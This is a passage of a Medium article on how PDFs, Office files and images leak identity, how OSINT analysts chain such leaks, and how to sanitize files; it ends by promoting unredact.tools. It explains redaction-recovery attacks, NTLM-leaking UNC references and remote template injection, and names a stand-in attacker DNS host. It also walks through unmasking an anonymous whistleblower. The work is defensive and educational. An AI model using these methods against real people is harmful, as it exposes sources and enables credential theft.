wrong.</p><h4>Two metadata stores that disagree</h4><p>The trailer’s /Info dictionary holds /Author, /Creator (authoring app), /Producer (PDF library), /CreationDate, /ModDate. The catalog&#39;s /Metadata stream holds XMP with the same fields plus xmpMM:DocumentID, InstanceID, and often a full xmpMM:History. Tools that clean one and not the other are common; check both. The /ID array in the trailer is a pair of hashes — the first stays constant across saves, so it links revisions of the same document across releases.</p><h4>Producer and Creator fingerprints</h4><p>Creator: Microsoft® Word for Microsoft 365 + Producer: Microsoft® Word for Microsoft 365 tells you it was exported, not scanned. A scanner or MFP producer string (often with model) says it was printed and scanned. Producer: iText 5.x or a specific Ghostscript version can identify the backend system that generated it — useful for attributing documents to a particular agency&#39;s pipeline. Font subsets (ABCDEF+Calibri) and their embedding style add more signal.</p><h4>Incremental updates: the file remembers</h4><p>PDF edits are typically <em>appended</em>: a new body section, a new xref table, a new trailer with /Prev pointing at the old one. Every earlier version is still in the file. Count %%EOF markers, or carve at each one, to recover prior states — including text that a later revision &quot;deleted&quot; or covered. qpdf --show-xref, pdfresurrect, and mutool show are the usual tools; PDF/A conversion or a full rewrite (qpdf --linearize, or re-rendering) collapses history.</p><h4>Redaction failures, ranked by frequency</h4><ol><li><strong>Annotation or vector box over live text.</strong> The text operators (Tj/TJ) are untouched in the content stream. Select-all, pdftotext, or deleting the box recovers it. This is the Manafort failure, and it still appears in court filings yearly.</li><li><strong>Redacted render, unredacted layer.</strong> Text removed from the page but left in an OCR text layer, in bookmarks/outline titles, in /Alt text, in form field values, or in the XMP description.</li><li><strong>Width and glyph leakage.</strong> A proper redaction removes the glyphs but leaves the box width and positioning (TJkerning arrays). With a known font and size, the redaction width constrains candidate strings — a well-studied attack (see the 2022–2023 academic work on &quot;deredaction&quot; of PDFs) that can recover names from a short candidate list.</li><li><strong>Pixelation and blur on rasters.</strong> Mosaic and Gaussian blur are deterministic transforms; with a known font, brute-forcing candidate text through the same transform recovers it (Depix-style attacks). Only solid fill destroys information.</li></ol><h4>Active content</h4><p>PDFs can carry /OpenAction, /AA (additional actions), JavaScript, /Launch, /URI, /SubmitForm, and /GoToR to remote files. Most viewers prompt or block, but some readers and many embedded/browser previewers still resolve external references. A /SubmitForm or a remote /GoToR reaching an attacker&#39;s server discloses IP, user agent, and timing. pdfid.py and pdf-parser.py triage this quickly.</p><h3>Files that phone home</h3><p>Passive metadata describes the author; active references reveal the <em>reader</em> — their IP, OS, client, and the moment they opened the file.</p><h4>The mechanisms</h4><ul><li><strong>Remote template injection</strong> — lives in word/_rels/settings.xml.rels as an attachedTemplate with TargetMode=&quot;External&quot;. The server learns IP, Office user agent, and open time; with a UNC target, it also gets the NTLM handshake.</li><li><strong>External image / linked field</strong> — INCLUDEPICTURE, INCLUDETEXT, or an image relationship marked External. Same disclosure, firing on open or field update.</li><li><strong>UNC / SMB path</strong> — any external target like \\host\share\x.png. On Windows this sends an NTLMv2 challenge-response for the logged-in user, crackable offline or relayable.</li><li><strong>HTML/SVG</strong> — &lt;img src&gt;, CSS url(), &lt;foreignObject&gt;, &lt;use href&gt;. A full HTTP request from the browser or previewer, sometimes with a referrer.</li><li><strong>Email tracking pixel</strong> — a 1×1 image with a per-recipient token in the URL. Reveals open time, IP, and client; Apple Mail Privacy Protection and Gmail’s image proxy now blunt this.</li><li><strong>PDF actions</strong> — /URI, /SubmitForm, /GoToR, JavaScript. IP and reader fingerprint when the reader permits the request.</li><li><strong>Shortcut and desktop files</strong> — .lnk icon paths, .url IconFile, desktop.ini, .library-ms. Forces SMB authentication just by <em>browsing</em> the folder in Explorer.</li></ul><h4>Canary tokens: the defender’s version</h4><p>Thinkst’s Canarytokens operationalized all of this as tripwires: a Word file with a remote resource, a PDF with an external reference, a DNS-name token embedded in a config file. Planted in a share or a honeypot inbox, they alert when exfiltrated material is opened. The OPSEC lesson for anyone <em>handling</em> leaked or sensitive files is the mirror image: open untrusted documents offline, in a VM or Dangerzone-style converter, never on a machine whose IP or Windows credentials matter.</p><h4>DNS is enough</h4><p>You don’t need an HTTP fetch. Any external reference to a unique hostname (a8f3c1.attacker.tld) causes a DNS lookup through the reader&#39;s resolver. Even when egress is filtered, recursive DNS usually isn&#39;t — so the token resolves, and the attacker learns the reader&#39;s resolver (often their ISP or corporate DNS) and timing.</p><h3>Below metadata: marks that survive a scrub</h3><p>Stripping every tag removes none of the following, because they live in the content itself.</p><h4>Printer Machine Identification Codes</h4><p>Many color laser printers and copiers print a faint grid of yellow dots on every page — typically repeated across the sheet — encoding the device serial number and a date/time. The EFF decoded Xerox DocuColor patterns in 2005. The Reality Winner case shows the downstream risk: a scan published online retained the dots. Tools such as TU Dresden’s DEDA can extract and anonymize them. Mitigations: print in monochrome on a laser that doesn’t use the scheme, or rasterize and remove the yellow channel before publishing scans.</p><h4>Sensor fingerprints (PRNU)</h4><p>Every camera sensor has photo-response non-uniformity: tiny per-pixel sensitivity differences from manufacturing. Averaging the noise residual from ~20–50 images yields a fingerprint; correlating it against a questioned image attributes it to that specific sensor with high confidence. It survives JPEG compression, moderate resizing, and every metadata scrub. If someone has your public photos, they can test whether an anonymous image came from the same phone. Defeating it requires geometric transforms (crop + non-integer rescale + slight rotation), heavy denoising, or simply a different device.</p><h4>Watermarking and canary traps</h4><ul><li><strong>Visible/invisible image watermarks</strong> — spread-spectrum or DCT-domain marks applied by stock agencies, screen-recording DRM, and some enterprise screenshot tools. Corporate and streaming platforms increasingly embed per-user forensic watermarks in video and screenshots.</li><li><strong>Canary-trap text</strong> — distributing slightly different versions of a document to each recipient: varied word choices, punctuation, line breaks, or Unicode homoglyphs and zero-width characters (U+200B, U+200C, U+FEFF). Copy-paste carries zero-width marks into retyped leaks.</li><li><strong>Typographic fingerprinting</strong> — per-recipient kerning, letter spacing, or line-height shifts invisible to the eye but measurable in a scan. Tesla and others have reportedly used variant-text traps internally.</li><li><strong>AI-generated content marks</strong> — SynthID-style statistical watermarks in generated images and text, plus C2PA manifests, increasingly tag provenance at the pixel or token level.</li></ul><h4>Content as metadata</h4><p>The image itself is the largest leak: reflections in eyes, glasses, and windows; window views and skylines; power outlets and plate formats (country); shadows (time of day and latitude via solar azimuth); vegetation; signage; screens in the background showing notifications. No sanitizer can fix this automatically — an honest analyzer flags it for human review rather than pretending the file is clean.</p><h3>How OSINT analysts actually use this</h3><p>One field rarely identifies anyone; the craft is correlation — turning weak, independent signals into a single high-confidence identity.</p><h4>Bulk collection: document harvesting</h4><p>The classic recon move is to pull every public document an organization has published and mine the metadata in aggregate. FOCA and Metagoofil popularized it; today it’s usually a script: search-engine dorks (site:target.com filetype:pdf, filetype:docx, filetype:xlsx), Wayback Machine CDX queries for historical files, and public buckets or SharePoint/OneDrive links, then exiftool -j -r into a dataframe. Aggregated, the output yields:</p><ul><li><strong>Username format</strong> — jsmith vs john.smith across hundreds of Author fields, which feeds email guessing and password-spray lists.</li><li><strong>Software inventory</strong> — exact Office builds and PDF libraries, i.e. patch levels, useful for phishing pretexts and exploit selection.</li><li><strong>Internal topology</strong> — file server names, drive mappings, SharePoint site names, and printer names from paths.</li><li><strong>Org chart fragments</strong> — who authors, who reviews, who approves, inferred from Author vs LastModifiedBy and comment authors.</li></ul><h4>Pivots from a single file</h4><ul><li><strong>GPS coordinates</strong> → reverse geocode, Street View, property records → address, building, sometimes unit (via altitude).</li><li><strong>Time + UTC offset</strong> → correlate with posting times and other images → time zone, routine, alibi conflicts.</li><li><strong>BodySerialNumber / PRNU</strong> → search image hosts and photo archives that preserve EXIF → other accounts using the same camera.</li><li><strong>Author / </strong><strong>LastModifiedBy</strong> → username enumeration across platforms, breach-data lookup by handle → real name, email, linked accounts.</li><li><strong>Tenant GUID (Purview label)</strong> → Microsoft OpenID configuration lookups → the employer.</li><li><strong>xmpMM:DocumentID / PDF </strong><strong>/ID</strong> → match against other published files → common origin across &quot;anonymous&quot; leaks.</li><li><strong>rsid sets</strong> → compare against an org’s public .docx releases → draft lineage and which team edited it.</li><li><strong>Producer string</strong> → compare to a known pipeline → the system or office that generated the file.</li></ul><h4>A worked chain</h4><p>A hypothetical but realistic sequence from an anonymous whistleblower drop:</p><ol><li>The leaked PDF has scrubbed /Info but intact XMP: CreatorTool is a specific Word build and xmpMM:DocumentIDis a UUID.</li><li>A harvest of the suspected agency’s public PDFs finds the same Word build and a matching /ID[0] in a press release — so the leak was derived from an internal template shared with communications staff.</li><li>An embedded chart object in the original source (recovered via an earlier incremental save) carries a UNC path, \\agency-fs02\comms\drafts\, narrowing it to one share.</li><li>Glyph-width analysis of a redacted name in the same PDF leaves three candidate surnames from the agency’s public staff directory.</li><li>Only one of the three has comms-share access according to an old org chart — and a canary-trap phrasing variant matches the copy that went to that person’s team.</li></ol><p>No single step is conclusive. Together they are, which is the point: defenders must remove <em>every</em> link, because an attacker needs only enough of them.</p><h4>Tooling</h4><ul><li><strong>Extraction:</strong> exiftool (the reference; -a -G1 -s -u -ee for everything, -ee for embedded streams in video), mat2 --show, pdfinfo/qpdf/mutool, olevba/oletools, binwalk for embedded files.</li><li><strong>Image forensics:</strong> Forensically and FotoForensics (ELA, clone detection, thumbnail comparison), exiftool -b -ThumbnailImage, PRNU toolkits for attribution research.</li><li><strong>Correlation:</strong> Maltego or a plain graph DB, username enumeration (Sherlock, Maigret), reverse-image search (Yandex, Bing, Google Lens), SunCalc for shadow-based time and orientation checks.</li></ul><h3>Defending: sanitize by reconstruction, then verify</h3><p>The only reliable sanitizer rebuilds a file from its rendered content; tag deletion is a best-effort patch over an open-ended format.</p><h4>Why “strip metadata” is not enough</h4><ul><li>exiftool -all= removes tags it knows about. It won&#39;t touch MakerNote internals it can&#39;t rewrite safely, MPF secondary images, trailing data after EOI, or content-level marks.</li><li>Office “Inspect Document” handles docProps, comments, and tracked changes, but not rsids, pivot caches, embedded workbooks, or external relationships in every part.</li><li>PDF “Remove hidden information” in some editors cleans /Info and leaves XMP, or writes the clean version as an <em>incremental update</em> — leaving the dirty original appended underneath.</li></ul><h4>A defensible pipeline</h4><ol><li><strong>Inventory first.</strong> Enumerate every part, stream, and tag (exiftool -a -G1 -u -ee, unzip OOXML, qpdf --json). You can&#39;t reason about what you haven&#39;t listed.</li><li><strong>Neutralize active content.</strong> Drop external relationships, field codes, JavaScript, actions, forms, and macros. Treat any network-reachable reference as a finding.</li><li><strong>Rebuild, don’t edit.</strong> Images: decode to raw pixels and re-encode into a fresh container (no thumbnails, no ICC beyond sRGB, no MPF). Office: export to PDF or re-create from text. PDFs: rasterize pages, then OCR into a new PDF — the Dangerzone approach — which kills incremental history, hidden layers, fonts, and glyph-width leakage at once.</li><li><strong>Redact on pixels.</strong> Solid fill on the rasterized page, never blur, mosaic, or an overlay object. Leave no live text under or beside the box.</li><li><strong>Handle covert marks deliberately.</strong> Remove the yellow channel from scans; for high-risk images, crop, rescale by a non-integer factor, and rotate slightly to disrupt PRNU; check the content itself for reflections, screens, and landmarks.</li><li><strong>Verify the delivered bytes.</strong> Re-run the inventory on the output <em>and</em> on what the recipient actually receives after the transport (email, chat, cloud). Diff against the original.</li></ol><h3>The existing toolbox, and the gap unredact.tools fills</h3><p>Good sanitizers already exist; the problem is that each one covers a slice of the threat model above, and none of them tells you, in plain terms, what you were about to give away.</p><h4>What’s out there</h4><ul><li><a href="https://exiftool.org/"><strong>ExifTool</strong></a> — the reference reader/writer for EXIF, IPTC, XMP, MakerNotes, and hundreds of formats. Unmatched for <em>inspection</em>. For removal it is honest about its limits: complete removal is effectively guaranteed for JPEG, less so elsewhere, and its PDF edits are reversible incremental updates, so the old metadata stays recoverable in the file.</li><li><a href="https://github.com/jvoisin/mat2"><strong>mat2</strong></a><strong> / Metadata Cleaner</strong> — the privacy community’s default, with a library, a CLI, file-manager integrations, and a GTK front end. It reconstructs many formats rather than just deleting tags, and sandboxes its parsers with bubblewrap. Its own docs say it only removes metadata: it does not anonymise content or handle watermarking or steganography, and an empty --show does not prove a file is clean.</li><li><a href="https://github.com/szTheory/exifcleaner"><strong>ExifCleaner</strong></a> — a drag-and-drop desktop wrapper around ExifTool with batch processing and a before/after diff. Convenient, but it inherits ExifTool’s writer limits, including PDF metadata that remains recoverable.</li><li><a href="https://github.com/freedomofpress/dangerzone"><strong>Dangerzone</strong></a> — Freedom of the Press Foundation’s converter. It renders documents to raw pixels inside a sandbox, then rebuilds a fresh PDF, optionally with OCR. That is the strongest sanitization approach available, but it’s built for opening untrusted documents safely: the output is always a flattened PDF, and it doesn’t report what the original leaked.</li><li><strong>Built-in cleaners</strong> — Office’s Document Inspector, Acrobat’s Sanitize/Redact, and phone share-sheet toggles that drop location. Useful, but scoped to one vendor’s format and blind to everything outside it.</li><li><strong>Mobile strippers</strong> — Scrambled Exif and ExifEraser on Android, Metapho on iOS. They handle photos well; documents, active content, and verification are out of scope.</li></ul><h4>Where they fall short</h4><ul><li><strong>No explanation.</strong> Most tools either strip silently or dump hundreds of raw tags. Neither tells a non-specialist that GPSAltitude puts them on the fourth floor or that a .rels path contains their AD username.</li><li><strong>Metadata only.</strong> Remote templates, UNC paths, PDF actions, and tracking pixels are often left in place, because they’re structure, not tags.</li><li><strong>No content or covert-mark warnings.</strong> None flag printer dots, PRNU risk, zero-width characters, or a reflection in someone’s sunglasses.</li><li><strong>No verification step.</strong> You’re asked to trust the output rather than shown a diff proving what is gone.</li></ul><h4>What unredact.tools is built to do differently</h4><p>The <a href="https://github.com/npcmillionaire/unredact.tools">unredact.tools</a> project is designed around the full loop described in this article rather than one slice of it:</p><ol><li><strong>Analyze first, in plain language.</strong> Drop in a photo or document and get a risk report — location, device, identities, internal paths, callbacks, revision history — ranked by how badly each one exposes you.</li><li><strong>Treat active content as a finding.</strong> External relationships, field codes, PDF actions, and remote resources get flagged and neutralized, not just tags.</li><li><strong>Sanitize by reconstruction.</strong> Rebuild images from pixels and documents from content, instead of deleting known fields and hoping nothing else was there.</li><li><strong>Flag what software can’t fix.</strong> Covert marks and on-image content are surfaced for human review rather than silently passed through.</li><li><strong>Prove it.</strong> Re-scan the output and show a before/after diff, so “clean” is something you can verify.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/0*zHKl1MCWgtjw8hUJ.gif" /><figcaption>unredact-file in the terminal: scanning a photo and a court filing, catching a failed redaction, sanitizing, and re-scanning clean.</figcaption></figure><p>Paired with <a href="https://me.unredact.tools/">unredact.me</a>, the OPSEC scanner that shows what can be assembled about <em>you</em> across the web, it covers both halves of the problem: what your files say, and what an analyst can connect them to.</p><h4>An essential OPSEC tool, not an afterthought</h4><p>People who take operational security seriously already run a layered kit, and each tool covers a different layer:</p><ul><li><strong>Link layer</strong> — macchanger randomizes your MAC so the local network can&#39;t track your hardware.</li><li><strong>Network layer</strong> — Tor and proxychains route traffic so the destination doesn&#39;t see your IP.</li><li><strong>Transport</strong> — OnionShare and SecureDrop move files over onion services, so nobody can see who sent what to whom.</li><li><strong>Endpoint</strong> — Tails and Whonix keep the operating system itself from leaking or persisting.</li><li><strong>Payload</strong> — the file itself. This is the layer most kits forget.</li></ul><p>You can spoof your MAC, chain your proxies, share over an onion service from Tails, and still hand an analyst your home coordinates, your camera’s serial number, and your employer’s tenant ID inside the file you just sent. OnionShare hides <em>who</em> sent the file; it doesn’t change <em>what’s in it</em>. File sanitization belongs in the same muscle memory as macchanger -r and proxychains: a step you run every time, before anything leaves your machine. That&#39;s the slot unredact.tools is built to fill.</p><h4>Closing</h4><p>File formats are serializations of the environment that produced them. Every convenience feature — revision tracking, thumbnails, linked templates, provenance credentials — is also an observation point. Investigators will keep chaining those observations; the only durable defense is to assume a file is a full disclosure of its origin until you’ve rebuilt it and proven otherwise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96c72ab3d014" width="1" height="1" alt=""><hr><p><a href="https://medium.com/legitimate-biz-research/your-files-are-talking-tracking-surveillance-and-osint-in-everyday-documents-96c72ab3d014">Your Files Are Talking: Tracking, Surveillance, and OSINT in Everyday Documents</a> was originally published in <a href="https://medium.com/legitimate-biz-research">legit{biz} — research</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>